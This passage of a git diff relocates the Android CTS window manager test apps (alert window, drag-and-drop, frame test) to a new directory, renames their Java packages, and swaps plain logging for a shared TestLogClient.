+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.cts.wm">
+
+ <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
+ <uses-permission android:name="android.permission.ACTIVITY_EMBEDDING" />
+ <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
+
+ <application android:label="CtsWindowManagerDeviceTestCases">
+ <uses-library android:name="android.test.runner"/>
+
+ <service
+ android:name="android.server.wm.TestLogService"
+ android:enabled="true"
+ android:exported="true">
+ </service>
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.server.cts.wm"
+ android:label="CTS tests of WindowManager">
+ </instrumentation>
+
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
similarity index 65%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/AndroidTest.xml
rename to tests/framework/base/windowmanager/AndroidTest.xml
index 82f0099..852c4df 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -13,19 +13,23 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<configuration description="Config for CTS window manager host test cases">
- <option name="config-descriptor:metadata" key="component" value="framework" />
+<configuration description="Config for CTS WindowManager test cases">
+ <option name="config-descriptor:metadata" key="component" value="framework"/>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck"/>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsDragAndDropSourceApp.apk" />
- <option name="test-file-name" value="CtsDragAndDropTargetApp.apk" />
- <option name="test-file-name" value="CtsDragAndDropTargetAppSdk23.apk" />
- <option name="test-file-name" value="CtsDeviceWindowFramesTestApp.apk" />
- <option name="test-file-name" value="CtsDeviceAlertWindowTestApp.apk" />
- <option name="test-file-name" value="CtsDeviceAlertWindowTestAppSdk25.apk" />
+ <option name="cleanup-apks" value="true"/>
+ <option name="test-file-name" value="CtsWindowManagerDeviceTestCases.apk"/>
+ <option name="test-file-name" value="CtsDragAndDropSourceApp.apk"/>
+ <option name="test-file-name" value="CtsDragAndDropTargetApp.apk"/>
+ <option name="test-file-name" value="CtsDragAndDropTargetAppSdk23.apk"/>
+ <option name="test-file-name" value="CtsDeviceWindowFramesTestApp.apk"/>
+ <option name="test-file-name" value="CtsDeviceAlertWindowTestApp.apk"/>
+ <option name="test-file-name" value="CtsDeviceAlertWindowTestAppSdk25.apk"/>
+ <option name="test-file-name" value="CtsAlertWindowService.apk"/>
</target_preparer>
- <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
- <option name="jar" value="CtsWindowManagerHostTestCases.jar" />
- <option name="runtime-hint" value="20m40s" />
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+ <option name="package" value="android.server.cts.wm"/>
+ <option name="runtime-hint" value="8m"/>
</test>
+
</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk b/tests/framework/base/windowmanager/alertwindowapp/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
rename to tests/framework/base/windowmanager/alertwindowapp/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml b/tests/framework/base/windowmanager/alertwindowapp/AndroidManifest.xml
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
rename to tests/framework/base/windowmanager/alertwindowapp/AndroidManifest.xml
index 9c6a6ad..446e2fa 100755
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/alertwindowapp/AndroidManifest.xml
@@ -17,7 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
- package="android.server.alertwindowapp">
+ package="android.server.wm.alertwindowapp">
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<application android:label="CtsAlertWindow">
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/src/android/server/alertwindowapp/AlertWindowTestActivity.java b/tests/framework/base/windowmanager/alertwindowapp/src/android/server/wm/alertwindowapp/AlertWindowTestActivity.java
similarity index 93%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/src/android/server/alertwindowapp/AlertWindowTestActivity.java
rename to tests/framework/base/windowmanager/alertwindowapp/src/android/server/wm/alertwindowapp/AlertWindowTestActivity.java
index db007e2..2185dd6 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/src/android/server/alertwindowapp/AlertWindowTestActivity.java
+++ b/tests/framework/base/windowmanager/alertwindowapp/src/android/server/wm/alertwindowapp/AlertWindowTestActivity.java
@@ -14,10 +14,10 @@
* limitations under the License
*/
-package android.server.alertwindowapp;
+package android.server.wm.alertwindowapp;
import android.os.Bundle;
-import android.server.alertwindowappsdk25.AlertWindowTestBaseActivity;
+import android.server.wm.alertwindowappsdk25.AlertWindowTestBaseActivity;
import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk b/tests/framework/base/windowmanager/alertwindowappsdk25/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
rename to tests/framework/base/windowmanager/alertwindowappsdk25/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml b/tests/framework/base/windowmanager/alertwindowappsdk25/AndroidManifest.xml
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml
rename to tests/framework/base/windowmanager/alertwindowappsdk25/AndroidManifest.xml
index efc80ea..0ac1c91 100755
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/AndroidManifest.xml
@@ -16,7 +16,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.server.alertwindowappsdk25">
+ package="android.server.wm.alertwindowappsdk25">
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<application android:label="CtsAlertWindowSdk25">
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestActivitySdk25.java b/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
rename to tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
index 046879f..47057f1 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.alertwindowappsdk25;
+package android.server.wm.alertwindowappsdk25;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestBaseActivity.java b/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestBaseActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestBaseActivity.java
rename to tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestBaseActivity.java
index 2d0dad0..021b886 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestBaseActivity.java
+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/src/android/server/wm/alertwindowappsdk25/AlertWindowTestBaseActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.alertwindowappsdk25;
+package android.server.wm.alertwindowappsdk25;
import android.app.Activity;
import android.graphics.Color;
diff --git a/tests/app/appSdk25/Android.mk b/tests/framework/base/windowmanager/alertwindowservice/Android.mk
similarity index 89%
rename from tests/app/appSdk25/Android.mk
rename to tests/framework/base/windowmanager/alertwindowservice/Android.mk
index 36c6d07..c012a65 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/tests/framework/base/windowmanager/alertwindowservice/Android.mk
@@ -16,7 +16,6 @@
include $(CLEAR_VARS)
-# Don't include this package in any target.
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
@@ -25,11 +24,13 @@
LOCAL_SRC_FILES := \
$(call all-java-files-under, src) \
-LOCAL_SDK_VERSION := 25
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsAlertWindowService
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
+LOCAL_DEX_PREOPT := false
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml b/tests/framework/base/windowmanager/alertwindowservice/AndroidManifest.xml
similarity index 65%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
copy to tests/framework/base/windowmanager/alertwindowservice/AndroidManifest.xml
index de52e61..21b6f7c 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
+++ b/tests/framework/base/windowmanager/alertwindowservice/AndroidManifest.xml
@@ -14,8 +14,12 @@
~ See the License for the specific language governing permissions and
~ limitations under the License
-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.wm.alertwindowservice">
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-<android.server.cts.LifecycleLogView xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="match_parent">
-</android.server.cts.LifecycleLogView>
\ No newline at end of file
+ <application>
+ <service android:name=".AlertWindowService"
+ android:exported="true"/>
+ </application>
+</manifest>
diff --git a/tests/app/app2/src/com/android/app2/AlertWindowService.java b/tests/framework/base/windowmanager/alertwindowservice/src/android/server/wm/alertwindowservice/AlertWindowService.java
similarity index 93%
rename from tests/app/app2/src/com/android/app2/AlertWindowService.java
rename to tests/framework/base/windowmanager/alertwindowservice/src/android/server/wm/alertwindowservice/AlertWindowService.java
index a514e8a..d531bbd 100644
--- a/tests/app/app2/src/com/android/app2/AlertWindowService.java
+++ b/tests/framework/base/windowmanager/alertwindowservice/src/android/server/wm/alertwindowservice/AlertWindowService.java
@@ -14,7 +14,15 @@
* limitations under the License
*/
-package com.android.app2;
+package android.server.wm.alertwindowservice;
+
+import static android.graphics.Color.BLUE;
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
import android.app.Service;
import android.content.Intent;
@@ -31,26 +39,19 @@
import java.util.LinkedList;
-import static android.graphics.Color.BLUE;
-import static android.view.Gravity.LEFT;
-import static android.view.Gravity.TOP;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-
/** Service for creating and managing alert windows. */
-public class AlertWindowService extends Service {
+public final class AlertWindowService extends Service {
private static final String TAG = "AlertWindowService";
private static final boolean DEBUG = false;
+ public static final String PACKAGE_NAME = "android.server.wm.alertwindowservice";
+ public static final String EXTRA_MESSENGER = "messenger";
+
public static final int MSG_ADD_ALERT_WINDOW = 1;
public static final int MSG_REMOVE_ALERT_WINDOW = 2;
public static final int MSG_REMOVE_ALL_ALERT_WINDOWS = 3;
- public static String NOTIFICATION_MESSENGER_EXTRA =
- "com.android.app2.AlertWindowService.NOTIFICATION_MESSENGER_EXTRA";
public static final int MSG_ON_ALERT_WINDOW_ADDED = 4;
public static final int MSG_ON_ALERT_WINDOW_REMOVED = 5;
@@ -132,7 +133,7 @@
@Override
public IBinder onBind(Intent intent) {
if (DEBUG) Log.e(TAG, "onBind");
- mOutgoingMessenger = intent.getParcelableExtra(NOTIFICATION_MESSENGER_EXTRA);
+ mOutgoingMessenger = intent.getParcelableExtra(EXTRA_MESSENGER);
return mIncomingMessenger.getBinder();
}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/tests/framework/base/windowmanager/dndsourceapp/Android.mk
similarity index 89%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
rename to tests/framework/base/windowmanager/dndsourceapp/Android.mk
index 12a04ed..7cfd03f 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ b/tests/framework/base/windowmanager/dndsourceapp/Android.mk
@@ -19,7 +19,8 @@
# Don't include this package in any target.
LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ ../src/android/server/wm/TestLogClient.java
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
similarity index 78%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/AndroidManifest.xml
rename to tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
index 296a979..4c8f0bb 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
@@ -15,17 +15,17 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.wm.cts.dndsourceapp">
+ package="android.server.wm.dndsourceapp">
<application android:label="CtsDnDSource">
- <activity android:name="android.wm.cts.dndsourceapp.DragSource">
+ <activity android:name="android.server.wm.dndsourceapp.DragSource">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
- <provider android:name="android.wm.cts.dndsourceapp.DragSourceContentProvider"
- android:authorities="android.wm.cts.dndsource.contentprovider"
+ <provider android:name="android.server.wm.dndsourceapp.DragSourceContentProvider"
+ android:authorities="android.server.wm.dndsource.contentprovider"
android:grantUriPermissions="true"/>
</application>
</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/res/layout/source_activity.xml b/tests/framework/base/windowmanager/dndsourceapp/res/layout/source_activity.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/res/layout/source_activity.xml
rename to tests/framework/base/windowmanager/dndsourceapp/res/layout/source_activity.xml
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSource.java
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java
rename to tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSource.java
index 7cb7b8b..9c7ed7b 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java
+++ b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSource.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.wm.cts.dndsourceapp;
+package android.server.wm.dndsourceapp;
import android.app.Activity;
import android.content.ClipData;
@@ -24,7 +24,7 @@
import android.os.Handler;
import android.os.FileUriExposedException;
import android.os.PersistableBundle;
-import android.util.Log;
+import android.server.wm.TestLogClient;
import android.view.MotionEvent;
import android.view.View;
import android.widget.TextView;
@@ -32,8 +32,6 @@
import java.io.File;
public class DragSource extends Activity{
- private static final String LOG_TAG = "DragSource";
-
private static final String RESULT_KEY_START_DRAG = "START_DRAG";
private static final String RESULT_KEY_DETAILS = "DETAILS";
private static final String RESULT_OK = "OK";
@@ -46,11 +44,14 @@
private static final long TIMEOUT_CANCEL = 150;
private TextView mTextView;
+ private TestLogClient mLogClient;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+ mLogClient = new TestLogClient(this, getIntent().getStringExtra("logtag"));
+
View view = getLayoutInflater().inflate(R.layout.source_activity, null);
setContentView(view);
@@ -125,7 +126,7 @@
}
private void logResult(String key, String value) {
- Log.i(LOG_TAG, key + "=" + value);
+ mLogClient.record(key, value);
mTextView.setText(mTextView.getText() + "\n" + key + "=" + value);
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceContentProvider.java b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceContentProvider.java
similarity index 93%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceContentProvider.java
rename to tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceContentProvider.java
index 06a94aa..1ec1e58 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceContentProvider.java
+++ b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceContentProvider.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.wm.cts.dndsourceapp;
+package android.server.wm.dndsourceapp;
import android.content.ContentProvider;
import android.content.ContentValues;
@@ -24,7 +24,7 @@
public class DragSourceContentProvider extends ContentProvider {
- public static final String AUTHORITY = "android.wm.cts.dndsource.contentprovider";
+ public static final String AUTHORITY = "android.server.wm.dndsource.contentprovider";
private static final UriMatcher sMatcher = new UriMatcher(UriMatcher.NO_MATCH);
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceCursor.java b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceCursor.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceCursor.java
rename to tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceCursor.java
index c54df65..468842f 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceCursor.java
+++ b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceCursor.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.wm.cts.dndsourceapp;
+package android.server.wm.dndsourceapp;
import android.database.AbstractCursor;
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk b/tests/framework/base/windowmanager/dndtargetapp/Android.mk
similarity index 89%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
rename to tests/framework/base/windowmanager/dndtargetapp/Android.mk
index cb43a8b..d291df4 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
+++ b/tests/framework/base/windowmanager/dndtargetapp/Android.mk
@@ -19,7 +19,8 @@
# Don't include this package in any target.
LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ ../src/android/server/wm/TestLogClient.java
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
similarity index 88%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml
copy to tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
index ea636a8..33c7a0f 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
@@ -15,9 +15,9 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.wm.cts.dndtargetappsdk23">
+ package="android.server.wm.dndtargetapp">
<application android:label="CtsDnDTarget">
- <activity android:name="android.wm.cts.dndtargetappsdk23.DropTarget">
+ <activity android:name="android.server.wm.dndtargetapp.DropTarget">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/res/layout/target_activity.xml b/tests/framework/base/windowmanager/dndtargetapp/res/layout/target_activity.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/res/layout/target_activity.xml
rename to tests/framework/base/windowmanager/dndtargetapp/res/layout/target_activity.xml
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java b/tests/framework/base/windowmanager/dndtargetapp/src/android/server/wm/dndtargetapp/DropTarget.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java
rename to tests/framework/base/windowmanager/dndtargetapp/src/android/server/wm/dndtargetapp/DropTarget.java
index 8892c6f..0500ef4 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java
+++ b/tests/framework/base/windowmanager/dndtargetapp/src/android/server/wm/dndtargetapp/DropTarget.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.wm.cts.dndtargetapp;
+package android.server.wm.dndtargetapp;
import android.app.Activity;
import android.content.ClipData;
@@ -24,15 +24,13 @@
import android.net.Uri;
import android.os.Bundle;
import android.os.PersistableBundle;
-import android.util.Log;
+import android.server.wm.TestLogClient;
import android.view.DragAndDropPermissions;
import android.view.DragEvent;
import android.view.View;
import android.widget.TextView;
public class DropTarget extends Activity {
- public static final String LOG_TAG = "DropTarget";
-
private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
private static final String RESULT_KEY_DRAG_ENDED = "DRAG_ENDED";
private static final String RESULT_KEY_EXTRAS = "EXTRAS";
@@ -52,11 +50,14 @@
protected static final String MAGIC_VALUE = "42";
private TextView mTextView;
+ private TestLogClient mLogClient;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+ mLogClient = new TestLogClient(this, getIntent().getStringExtra("logtag"));
+
View view = getLayoutInflater().inflate(R.layout.target_activity, null);
setContentView(view);
@@ -90,7 +91,7 @@
}
private void logResult(String key, String value) {
- Log.i(LOG_TAG, key + "=" + value);
+ mLogClient.record(key, value);
mTextView.setText(mTextView.getText() + "\n" + key + "=" + value);
}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.mk
similarity index 89%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
rename to tests/framework/base/windowmanager/dndtargetappsdk23/Android.mk
index a33e1bc..59f4ab1 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.mk
@@ -19,7 +19,8 @@
# Don't include this package in any target.
LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ ../src/android/server/wm/TestLogClient.java
LOCAL_SDK_VERSION := 23
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml b/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml
similarity index 88%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml
rename to tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml
index ea636a8..d10a548 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml
@@ -15,9 +15,9 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.wm.cts.dndtargetappsdk23">
+ package="android.server.wm.dndtargetappsdk23">
<application android:label="CtsDnDTarget">
- <activity android:name="android.wm.cts.dndtargetappsdk23.DropTarget">
+ <activity android:name="android.server.wm.dndtargetappsdk23.DropTarget">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml b/tests/framework/base/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml
rename to tests/framework/base/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/src/android/wm/cts/dndtargetappsdk23/DropTarget.java b/tests/framework/base/windowmanager/dndtargetappsdk23/src/android/server/wm/dndtargetappsdk23/DropTarget.java
similarity index 89%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/src/android/wm/cts/dndtargetappsdk23/DropTarget.java
rename to tests/framework/base/windowmanager/dndtargetappsdk23/src/android/server/wm/dndtargetappsdk23/DropTarget.java
index 2cb7779..93a8659 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/src/android/wm/cts/dndtargetappsdk23/DropTarget.java
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/src/android/server/wm/dndtargetappsdk23/DropTarget.java
@@ -14,11 +14,11 @@
* limitations under the License.
*/
-package android.wm.cts.dndtargetappsdk23;
+package android.server.wm.dndtargetappsdk23;
import android.app.Activity;
import android.os.Bundle;
-import android.util.Log;
+import android.server.wm.TestLogClient;
import android.view.DragEvent;
import android.view.View;
import android.widget.TextView;
@@ -28,14 +28,13 @@
* below do not receive global drags.
*/
public class DropTarget extends Activity {
- public static final String LOG_TAG = "DropTarget";
-
private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
private static final String RESULT_KEY_DROP_RESULT = "DROP";
public static final String RESULT_OK = "OK";
private TextView mTextView;
+ private TestLogClient mLogClient;
@Override
public void onCreate(Bundle savedInstanceState) {
@@ -46,12 +45,13 @@
mTextView = (TextView) findViewById(R.id.drag_target);
mTextView.setOnDragListener(new OnDragListener());
+
+ mLogClient = new TestLogClient(this, getIntent().getStringExtra("logtag"));
}
private void logResult(String key, String value) {
- String result = key + "=" + value;
- Log.i(LOG_TAG, result);
- mTextView.setText(result);
+ mLogClient.record(key, value);
+ mTextView.setText(key + "=" + value);
}
private class OnDragListener implements View.OnDragListener {
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk b/tests/framework/base/windowmanager/frametestapp/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
rename to tests/framework/base/windowmanager/frametestapp/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/AndroidManifest.xml b/tests/framework/base/windowmanager/frametestapp/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/AndroidManifest.xml
rename to tests/framework/base/windowmanager/frametestapp/AndroidManifest.xml
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/DialogTestActivity.java b/tests/framework/base/windowmanager/frametestapp/src/android/server/wm/frametestapp/DialogTestActivity.java
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/DialogTestActivity.java
